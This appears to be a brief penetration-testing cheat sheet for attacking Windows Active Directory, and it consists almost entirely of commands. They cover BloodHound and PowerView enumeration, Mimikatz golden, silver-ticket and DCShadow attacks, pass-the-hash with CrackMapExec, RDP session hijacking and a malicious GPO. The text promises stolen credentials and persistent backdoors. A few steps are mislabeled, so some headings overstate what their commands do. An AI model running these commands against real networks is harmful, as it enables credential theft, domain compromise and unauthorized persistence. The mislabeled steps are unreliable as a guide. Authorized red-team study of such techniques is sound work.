You Should Know:

Active Directory (AD) penetration testing is crucial for identifying security weaknesses in Windows-based networks. Below are key techniques, commands, and tools used in AD exploitation:

1. Initial Active Directory Exploitation

• Tool: PowerView (PowerShell)

  Import-Module .\PowerView.ps1 
  Get-NetDomain 
  Get-NetUser | Select-Object samaccountname, description 
  

• Command: BloodHound Enumeration

  bloodhound-python -d DOMAIN -u USER -p PASSWORD -ns DOMAIN_CONTROLLER_IP -c All 
  

2. Kerberos Abuse

• Golden Ticket Attack:

  mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-... /krbtgt:HASH /ptt 
  

• Silver Ticket Attack:

  mimikatz # kerberos::golden /user:ServiceAccount /domain:DOMAIN /target:TARGET_SERVER /service:HTTP /rc4:HASH /ptt 
  

3. Privilege Escalation

• Unconstrained Delegation Exploit:

  Get-NetComputer -Unconstrained | Select-Object name 
  

• Print Spooler Abuse (SpoolSample):

  python3 rpcdump.py DOMAIN/USER:PASSWORD@TARGET_IP | grep MS-RPRN 
  

4. Lateral Movement

• Pass-the-Hash (PtH) with CrackMapExec:

  crackmapexec smb TARGET_IP -u USER -H NTLM_HASH --local-auth 
  

• RDP Hijacking with Shadow Attack:

  tscon SESSION_ID /dest:rdp-tcp#0 
  

5. Persistence Techniques

• DCShadow Attack:

  mimikatz # lsadump::dcshadow /object:USER /attribute:PrimaryGroupID /value:512 
  

• Malicious GPO Deployment:

  New-GPO -Name "EvilPolicy" | New-GPLink -Target "OU=Workstations,DC=DOMAIN,DC=LOCAL" 
  

What Undercode Say:

Active Directory penetration testing requires deep knowledge of Windows internals, Kerberos, and lateral movement techniques. Mastering tools like Mimikatz, BloodHound, and CrackMapExec is essential for red teamers. Always test in controlled environments and obtain proper authorization before conducting security assessments.

Expected Output:

• Successful AD enumeration
• Extracted credentials via Kerberos attacks
• Privilege escalation paths identified
• Lateral movement validated
• Persistent backdoors established
